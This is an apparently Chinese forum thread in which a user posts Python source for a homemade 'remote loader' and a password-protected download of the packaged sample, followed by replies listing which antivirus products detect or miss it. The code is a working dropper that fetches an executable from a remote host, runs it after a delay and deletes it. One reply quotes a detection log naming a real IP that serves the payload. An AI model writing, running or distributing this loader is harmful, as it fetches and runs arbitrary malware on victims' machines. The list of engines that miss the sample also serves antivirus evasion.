自制远程加载-python

An_spectator

1. import requests
   
2. import subprocess
   
3. import time
   
4. 
   
5. # 远程Shellcode文件的URL
   
6. remote_shellcode_url = "http://xxxx.com/1.exe"
   
7. 
   
8. def load_and_execute_shellcode():
   
9.     # 下载远程Shellcode文件
   
10.     response = requests.get(remote_shellcode_url)
    
11.     if response.status_code == 200:
    
12.         # 将下载的内容保存为本地临时文件
    
13.         with open("temp.exe", "wb") as f:
    
14.             f.write(response.content)
    
15. 
    
16.         # 延迟启动时间（单位为秒）
    
17.         delay = 5
    
18. 
    
19.         # 延迟启动
    
20.         time.sleep(delay)
    
21. 
    
22.         # 在内存中执行Shellcode文件
    
23.         subprocess.call(["temp.exe"])
    
24. 
    
25.         # 删除临时文件
    
26.         subprocess.call("del temp.exe")
    
27.     else:
    
28.         print("无法下载远程Shellcode文件")
    
29. 
    
30. # 调用加载器函数
    
31. load_and_execute_shellcode()
    

复制代码

以上是源码内容

打包后的样本：https://wwcu.lanzouj.com/i7xHT19ug9kb
密码:5hup

装甲未被击穿

AVAST MISS 已发送--------------------------
更新：已拉黑

swizzer

与其说是Loader不如说是Downloader...

dght432

类型:木马-HEUR/QVM202.0.3709.Malware.Gen
描述:木马是一种伪装成正常文件的恶意软件，会盗取您的帐号、密码等隐私资料。
扫描引擎:云特征引擎
文件路径:D:\下载\8\8.exe
文件大小:10.11M (10,599,208 字节)
文件指纹（MD5）:c068bebd474faa6821857298f3d26eb2
处理建议:隔离文件

骨灰级小白

实机双击WD无提示，毛豆直接入沙，运行失败

761773275

BEST

1. HyperDetect 机器学习检测到威胁. 访问该网站被拒绝。118.89.125.171:8888/supershell/server/files/download/1.exe 包含类型为 Gen:Illusion.Mustang.5.2020100 的恶意软件

复制代码

UNknownOoo

火绒
扫描：MISS

初心．杰

趋势 miss    诺顿 kill

初心．杰

装甲未被击穿 发表于 2023-9-25 11:20
AVAST MISS 已发送

AVAST 哪里能提交样本啊

装甲未被击穿

初心．杰 发表于 2023-9-25 11:54
AVAST 哪里能提交样本啊

可以网页上报，https://www.avast.com/false-positive-file-form.php#pc
也可把样本手动加进隔离区，然后右键，选择发送到实验室